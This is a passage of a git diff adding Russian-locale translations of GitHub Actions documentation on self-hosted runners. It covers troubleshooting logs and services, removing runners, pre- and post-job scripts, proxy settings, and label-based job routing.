https://github.com/YOUR-ORG/YOUR-REPO --pat GHP_ABCD1234 +``` + +{% endwindows %} + +The script tests each service, and outputs either a `PASS` or `FAIL` for each one. If you have any failing checks, you can see more details on the problem in the log file for the check. The log files are located in the `_diag` directory where you installed the runner application, and the path of the log file for each check is shown in the console output of the script. + +If you have any failing checks, you should also verify that your self-hosted runner machine meets all the communication requirements. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-requirements)." + +### Disabling TLS certificate verification +{% ifversion ghes %} +By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}. If your {% data variables.product.product_name %} has a self-signed or internally-issued certificate, you may wish to disable TLS certificate verification for testing purposes. +{% else %} +By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}. If you encounter network problems, you may wish to disable TLS certificate verification for testing purposes. +{% endif %} + +To disable TLS certification verification in the self-hosted runner application, set the `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` environment variable to `1` before configuring and running the self-hosted runner application. + +```shell +export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1 +./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token +./run.sh +``` + +{% warning %} + +**Warning**: Disabling TLS verification is not recommended since TLS provides privacy and data integrity between the self-hosted runner application and {% data variables.product.product_name %}. We recommend that you install the {% data variables.product.product_name %} certificate in the operating system certificate store for your self-hosted runner. For guidance on how to install the {% data variables.product.product_name %} certificate, check with your operating system vendor. + +{% endwarning %} + +## Reviewing the self-hosted runner application log files + +You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory where you installed the runner application, and a new log is generated each time the application is started. The filename begins with *Runner_*, and is followed by a UTC timestamp of when the application was started. + +For detailed logs on workflow job executions, see the next section describing the *Worker_* files. + +## Reviewing a job's log file + +The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory where you installed the runner application, and the filename begins with *Worker_*. + +{% linux %} + +## Using journalctl to check the self-hosted runner application service + +For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.-..service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example: + +```shell +$ cat ~/actions-runner/.service +actions.runner.octo-org-octo-repo.runner01.service +``` + +If this fails due to the service being installed elsewhere, you can find the service name in the list of running services. For example, on most Linux systems you can use the `systemctl` command: + +```shell +$ systemctl --type=service | grep actions.runner +actions.runner.octo-org-octo-repo.hostname.service loaded active running GitHub Actions Runner (octo-org-octo-repo.hostname) +``` + +You can use `journalctl` to monitor the real-time activity of the self-hosted runner: + +```shell +$ sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f +``` + +In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status: + +```shell +Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service +Feb 11 14:57:07 runner01 runsvc.sh[962]: Started listener process +Feb 11 14:57:07 runner01 runsvc.sh[962]: Started running service +Feb 11 14:57:16 runner01 runsvc.sh[962]: √ Connected to GitHub +Feb 11 14:57:17 runner01 runsvc.sh[962]: 2020-02-11 14:57:17Z: Listening for Jobs +Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: testAction +Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded +``` + +To view the `systemd` configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.-..service`. +If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service)." + +{% endlinux %} + +{% mac %} + +## Using `launchd` to check the self-hosted runner application service + +For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.-.`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory: + +```shell +% cat ~/actions-runner/.service +/Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist +``` + +The `svc.sh` script uses `launchctl` to check whether the application is running. For example: + +```shell +$ ./svc.sh status +status actions.runner.example.runner01: +/Users/exampleUsername/Library/LaunchAgents/actions.runner.example.runner01.plist +Started: +379 0 actions.runner.example.runner01 +``` + +The resulting output includes the process ID and the name of the application’s `launchd` service. + +To view the `launchd` configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner...service`. +If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1)." + +{% endmac %} + +{% windows %} + +## Using PowerShell to check the self-hosted runner application service + +For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (-.)`. You can also find the service's name by checking the _.service_ file in the runner directory: + +```shell +PS C:\actions-runner> Get-Content .service +actions.runner.octo-org-octo-repo.runner01.service +``` + +You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running: + +```shell +PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status +Name Status +---- ------ +actions.runner.octo-org-octo-repo.runner01.service Running +``` + +You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status: + +```shell +PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService + + Index Time EntryType Source InstanceID Message + ----- ---- --------- ------ ---------- ------- + 136 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:48Z: Job Greeting completed with result: Succeeded + 135 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:34Z: Running job: testAction + 134 Mar 17 13:41 Information ActionsRunnerService 100 2020-03-17 13:41:54Z: Listening for Jobs + 133 Mar 17 13:41 Information ActionsRunnerService 100 û Connected to GitHub + 132 Mar 17 13:41 Information ActionsRunnerService 0 Service started successfully. + 131 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner listener + 130 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner Service + 129 Mar 17 13:41 Information ActionsRunnerService 100 create event log trace source for actions-runner service +``` + +{% endwindows %} + +## Monitoring the automatic update process + +We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates. + +You can view the update activities in the *Runner_* log files. For example: + +```shell +[Feb 12 12:37:07 INFO SelfUpdater] An update is available. +``` + +In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory where you installed the runner application. + +{% linux %} + +## Troubleshooting containers in self-hosted runners + +### Checking that Docker is installed + +If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running. + +You can use `systemctl` to check the service status: + +```shell +$ sudo systemctl is-active docker.service +active +``` + +If Docker is not installed, then dependent actions will fail with the following errors: + +```shell +[2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker' +[2020-02-13 16:56:10Z INFO DockerCommandManager] Not found. +[2020-02-13 16:56:10Z ERR StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker' +``` + +### Checking the Docker permissions + +If your job fails with the following error: + +```shell +dial unix /var/run/docker.sock: connect: permission denied +``` + +Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in `systemd`. For example: + +```shell +$ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service +User=runner-user +``` + +{% endlinux %} + +{% ifversion ghes %} +## Resolving runners that are offline after an upgrade of {% data variables.location.product_location %} + +{% data reusables.actions.upgrade-runners-before-upgrade-ghes %} + +If your runners are offline for this reason, manually update the runners. For more information, see the installation instructions for [the latest release](https://github.com/actions/runner/releases/latest) in the actions/runner repository. +{% endif %} + +### Checking which Docker engine is installed on the runner + +If your build fails with the following error: + +```shell +Error: Input required and not supplied: java-version +``` + +Check which Docker engine is installed on your self-hosted runner. To pass the inputs of an action into the Docker container, the runner uses environment variables that might contain dashes as part of their names. The action may not able to get the inputs if the Docker engine is not a binary executable, but is instead a shell wrapper or a link (for example, a Docker engine installed on Linux using `snap`). To address this error, configure your self-hosted runner to use a different Docker engine. + +To check if your Docker engine was installed using `snap`, use the `which` command. In the following example, the Docker engine was installed using `snap`: + +```shell +$ which docker +/snap/bin/docker +``` diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md new file mode 100644 index 000000000000..04b8943ee199 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -0,0 +1,102 @@ +--- +title: Removing self-hosted runners +intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners + - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Remove self-hosted runners +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Removing a runner from a repository + +{% note %} + +**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} + +{% data reusables.actions.self-hosted-runner-auto-removal %} + +{% endnote %} + +To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% data reusables.actions.self-hosted-runner-reusing %} +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-runners %} +{% data reusables.actions.settings-sidebar-actions-runner-selection %} +{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} +{% elsif ghae or ghes < 3.4 %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions-runners %} +{% data reusables.actions.self-hosted-runner-removing-a-runner %} +{% endif %} + +## Removing a runner from an organization + +{% note %} + +**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} + +{% data reusables.actions.self-hosted-runner-auto-removal %} + +{% endnote %} + +To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." + +{% data reusables.actions.self-hosted-runner-reusing %} +{% ifversion fpt or ghes > 3.3 or ghec %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +{% data reusables.actions.settings-sidebar-actions-runner-selection %} +{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} +{% elsif ghes < 3.4 or ghae %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runners %} +{% data reusables.actions.self-hosted-runner-removing-a-runner %} +{% endif %} + +## Removing a runner from an enterprise + +{% ifversion fpt %} +If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise). +{% endif %} +{% ifversion ghec or ghes or ghae %} +{% note %} + +**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} + +{% data reusables.actions.self-hosted-runner-auto-removal %} + +{% endnote %} + +To remove a self-hosted runner from an enterprise, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners). + +{% data reusables.actions.self-hosted-runner-reusing %} +{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% data reusables.actions.settings-sidebar-actions-runner-selection %} +{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} +{% elsif ghae or ghes < 3.4 %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% data reusables.actions.self-hosted-runner-removing-a-runner %} +{% endif %} +{% endif %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md b/translations/ru-RU/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md new file mode 100644 index 000000000000..ec7997a3c2eb --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md @@ -0,0 +1,76 @@ +--- +title: Running scripts before or after a job +intro: 'Scripts can automatically execute on a self-hosted runner, directly before or after a job.' +versions: + feature: job-hooks-for-runners +type: tutorial +miniTocMaxHeadingLevel: 3 +shortTitle: Run a script before or after a job +--- + +{% note %} + +**Note**: This feature is currently in beta and is subject to change. + +{% endnote %} + +## About pre- and post-job scripts + +You can automatically execute scripts on a self-hosted runner, either before a job runs, or after a job finishes running. You could use these scripts to support the job's requirements, such as building or tearing down a runner environment, or cleaning out directories. You could also use these scripts to track telemetry of how your runners are used. + +The custom scripts are automatically triggered when a specific environment variable is set on the runner; the environment variable must contain the absolute path to the script. For more information, see "[Triggering the scripts](#triggering-the-scripts)" below. + +The following scripting languages are supported: + +- **Bash**: Uses `bash` and can fallback to `sh`. Executes by running `-e {pathtofile}`. +- **PowerShell**: Uses `pwsh` and can fallback to `powershell`. Executes by running `-command \". '{pathtofile}'\"`. + +## Writing the scripts + +Your custom scripts can use the following features: + +- **Environment variables**: Scripts have access to the default environment variables. The full webhook event payload can be found in `GITHUB_EVENT_PATH`. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables#default-environment-variables)." +- **Workflow commands**: Scripts can use workflow commands. For more information, see ["Workflow commands for {% data variables.product.prodname_actions %}"](/actions/using-workflows/workflow-commands-for-github-actions){% ifversion actions-save-state-set-output-envs %}{% else %}, with the exception of `save-state` and `set-output`, which are not supported by these scripts{% endif %}. Scripts can also use environment files. For more information, see [Environment files](/actions/using-workflows/workflow-commands-for-github-actions#environment-files). + +{% note %} + +**Note**: Avoid using your scripts to output sensitive information to the console, as anyone with read access to the repository might be able to see the output in the UI logs. + +{% endnote %} + +### Handling exit codes + +For pre-job scripts, exit code `0` indicates that the script completed successfully, and the job will then proceed to run. If there is any other exit code, the job will not run and will be marked as failed. To see the results of your pre-job scripts, check the logs for `Set up runner` entries. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." + +The [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) setting is not supported for use by these scripts. + +## Triggering the scripts + +The custom scripts must be located on the runner, but should not be stored in the `actions-runner` application directory. The scripts are executed in the security context of the service account that's running the runner service. + +{% note %} + +**Note**: The triggered scripts are processed synchronously, so they will block job execution while they are running. + +{% endnote %} + +The scripts are automatically executed when the runner has the following environment variables containing an absolute path to the script: +- `ACTIONS_RUNNER_HOOK_JOB_STARTED`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running. +- `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`: The script defined in this environment variable is triggered after the job has finished processing. + +To set these environment variables, you can either add them to the operating system, or add them to a file named `.env` within the self-hosted runner application directory. For example, the following `.env` entry will have the runner automatically run a script named `cleanup_script.sh` before each job runs: + +```bash +ACTIONS_RUNNER_HOOK_JOB_STARTED=/cleanup_script.sh +``` + +## Troubleshooting + + +### No timeout setting + +There is currently no timeout setting available for scripts executed by `ACTIONS_RUNNER_HOOK_JOB_STARTED` or `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`. As a result, you could consider adding timeout handling to your script. + +### Reviewing the workflow run log + +To confirm whether your scripts are executing, you can review the logs for that job. The scripts will be listed within separate steps for either `Set up runner` or `Complete runner`, depending on which environment variable is triggering the script. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md new file mode 100644 index 000000000000..aa977965b4d4 --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md @@ -0,0 +1,59 @@ +--- +title: Использование прокси-сервера с самостоятельно размещенными средствами выполнения +intro: 'Можно настроить локальные средства выполнения, чтобы использовать прокси-сервер для обмена данными с {% data variables.product.product_name %}.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Proxy servers +ms.openlocfilehash: e6c9d36b052627726f73f6a07d989a192cd1e738 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092509' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Настройка прокси-сервера с помощью переменных среды + +Если для обмена данными через прокси-сервер требуется локальное средство выполнения, приложение локального средства выполнения использует конфигурации прокси-сервера, заданные в следующих переменных среды: + +* `https_proxy`: URL-адрес прокси-сервера для трафика HTTPS. При необходимости можно также включить учетные данные обычной проверки подлинности. Пример: + * `http://proxy.local` + * `http://192.168.1.1:8080` + * `http://username:password@proxy.local` +* `http_proxy`: URL-адрес прокси-сервера для трафика HTTP. При необходимости можно также включить учетные данные обычной проверки подлинности. Пример: + * `http://proxy.local` + * `http://192.168.1.1:8080` + * `http://username:password@proxy.local` +* `no_proxy`: разделенный запятыми список узлов, которые не должны использовать прокси-сервер. В `no_proxy` нельзя использовать IP-адреса, только имена узлов. Пример: + * `example.com` + * `example.com,myserver.local:443,example.org` + +Переменные среды прокси-сервера считываются при запуске приложения локального средства выполнения, поэтому перед настройкой или запуском этого приложения необходимо задать переменные среды. При изменении конфигурации прокси необходимо перезапустить локальное приложение самостоятельного средства выполнения. + +На компьютерах с Windows имена переменных среды прокси-сервера не учитывают регистр. На компьютерах с Linux и macOS рекомендуется использовать только строчные символы в переменных среды. Если у вас есть переменная среды в нижнем и верхнем регистре в Linux или macOS, например `https_proxy` и `HTTPS_PROXY`, локальное приложение Runner использует переменную среды в нижнем регистре. + +{% data reusables.actions.self-hosted-runner-ports-protocols %} + +## Использование файла .env для настройки конфигурации прокси-сервера + +Если параметры переменных среды не являются практическими, можно задать переменные конфигурации прокси-сервера в файле с именем _.env_ в каталоге приложения локального средства выполнения. Например, это может потребоваться, если вы хотите настроить приложение средства выполнения в качестве службы в системной учетной записи. Когда запускается приложение средства выполнения, оно считывает переменные, заданные в _.env_ для конфигурации прокси-сервера. + +Ниже приведен пример _.env_ конфигурации прокси-сервера: + +```ini +https_proxy=http://proxy.local:8080 +no_proxy=example.com,myserver.local:443 +``` + +## Настройка конфигурации прокси-сервера для контейнеров Docker + +Если в рабочих процессах используются действия контейнера Docker или контейнеры служб, возможно, потребуется настроить Docker для применения прокси-сервера в дополнение к настройке вышеуказанных переменных среды. + +Сведения о требуемой конфигурации Docker см. в разделе [Настройка Docker для использования прокси-сервера](https://docs.docker.com/network/proxy/) в документации по Docker. diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/ru-RU/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md new file mode 100644 index 000000000000..d1bfec7c632d --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md @@ -0,0 +1,100 @@ +--- +title: Using labels with self-hosted runners +intro: You can use labels to organize your self-hosted runners based on their characteristics. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Label runners +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)." {% ifversion target-runner-groups %}You can also route jobs to runners in a specific group. For more information, see "[Targeting runners in a group](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group)."{% endif %} + +{% data reusables.actions.self-hosted-runner-management-permissions-required %} + +## Creating a custom label + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} + {% data reusables.actions.settings-sidebar-actions-runner-selection %} + 1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}. + 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**. + The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %} +{% elsif ghae or ghes < 3.4 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} +{% data reusables.actions.self-hosted-runner-list %} +{% data reusables.actions.self-hosted-runner-list-group %} +{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %} +1. In the "Filter labels" field, type the name of your new label, and click **Create new label**. + ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png) + +The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.actions.actions-unused-labels %} +{% endif %} + +## Assigning a label to a self-hosted runner + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-selection %} +{% data reusables.actions.runner-label-settings %} + 1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. +{% elsif ghae or ghes < 3.4 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} +{% data reusables.actions.self-hosted-runner-list %} +{% data reusables.actions.self-hosted-runner-list-group %} +{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %} +1. Click on a label to assign it to your self-hosted runner. +{% endif %} + +## Removing a custom label from a self-hosted runner + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-selection %} +{% data reusables.actions.runner-label-settings %} + 1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. +{% elsif ghae or ghes < 3.4 %} +{% data reusables.actions.self-hosted-runner-navigate-to-repo-org-enterprise %} +{% data reusables.actions.self-hosted-runner-list %} +{% data reusables.actions.self-hosted-runner-list-group %} +{% data reusables.actions.self-hosted-runner-labels-view-assigned-labels %} +1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.actions.actions-unused-labels %} +{% endif %} + +## Programmatically assign labels + +You can programmatically assign labels to a self-hosted runner after the runner is created, or during its initial configuration. + +* To programmatically assign labels to an existing self-hosted runner, you must use the REST API. For more information, see the "[Self-hosted runners](/rest/actions/self-hosted-runners)" REST API. +* To programmatically assign labels to a self-hosted runner during the initial runner configuration, you can pass label names to the `config` script using the `labels` parameter. + + {% note %} + + **Note:** You cannot use the `config` script to assign labels to an existing self-hosted runner. + + {% endnote %} + + For example, this command assigns a label named `gpu` when configuring a new self-hosted runner: + + ``` + ./config.sh --url --token --labels gpu + ``` + + The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture. + + You can use comma separation to assign multiple labels. For example: + + ``` + ./config.sh --url --token --labels gpu,x64,linux + ``` + + {% note %} + + ** Note:** If you replace an existing runner, then you must reassign any custom labels. + + {% endnote %} diff --git a/translations/ru-RU/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md b/translations/ru-RU/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md new file mode 100644 index 000000000000..2bfb341c9e6a --- /dev/null +++ b/translations/ru-RU/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md @@ -0,0 +1,90 @@ +--- +title: Using self-hosted runners in a workflow +intro: 'To use self-hosted runners in a workflow, you can use labels to specify the runner type for a job.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow + - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +shortTitle: Use runners in a workflow +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +For information on creating custom and default labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." + +## Using self-hosted runners in a workflow + +Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label. + +{% data reusables.actions.self-hosted-runner-labels-runs-on %} + +For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)." + +## Using default labels to route jobs + +A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform: + +* `self-hosted`: Default label applied to all self-hosted runners. +* `linux`, `windows`, or `macOS`: Applied depending on operating system. +* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture. + +You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job: + +```yaml +runs-on: [self-hosted, linux, ARM64] +``` + +- `self-hosted` - Run this job on a self-hosted runner. +- `linux` - Only use a Linux-based runner. +- `ARM64` - Only use a runner based on ARM64 hardware. + +The default labels are fixed and cannot be changed or removed. Consider using custom labels if you need more control over job routing. + +## Using custom labels to route jobs + +You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled. + +For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job. + +This example shows a job that combines default and custom labels: + +```yaml +runs-on: [self-hosted, linux, x64, gpu] +``` + +- `self-hosted` - Run this job on a self-hosted runner. +- `linux` - Only use a Linux-based runner. +- `x64` - Only use a runner based on x64 hardware. +- `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed. + +These labels operate cumulatively, so a self-hosted runner must have all four labels to be eligible to process the job. + +## Routing precedence for self-hosted runners + +When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels: + +{% ifversion fpt or ghes > 3.3 or ghae or ghec %} +- If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels, the job is then assigned and sent to the runner. + - If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it. +- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels, then the job will remain queued until a runner comes online. +- If the job remains queued for more than 24 hours, the job will fail. +{% elsif ghes = 3.3 %} +- {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level. +- If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner. + - If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job. +- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner at any level, the job is queued to all levels and waits for a matching runner from any level to come online and pick up the job. +- If the job remains queued for more than 24 hours, the job will fail. +{% else %} +1. {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level. +2. The job is then sent to the first matching runner that is online and idle. + - If all matching online runners are busy, the job will queue at the level with the highest number of matching online runners. + - If all matching runners are offline, the job will queue at the level with the highest number of matching offline runners. + - If there are no matching runners at any level, the job will fail. + - If the job remains queued for more than 24 hours, the job will fail. +{% endif %} diff --git a/translations/ru-RU/content/actions/index.md b/translations/ru-RU/content/actions/index.md new file mode 100644 index 000000000000..b08c30775367 --- /dev/null +++ b/translations/ru-RU/content/actions/index.md @@ -0,0 +1,72 @@ +--- +title: Документация по GitHub Actions +shortTitle: GitHub Actions +intro: 'Автоматизируйте, настраивайте и выполняйте рабочие процессы разработки программного обеспечения прямо в репозитории с 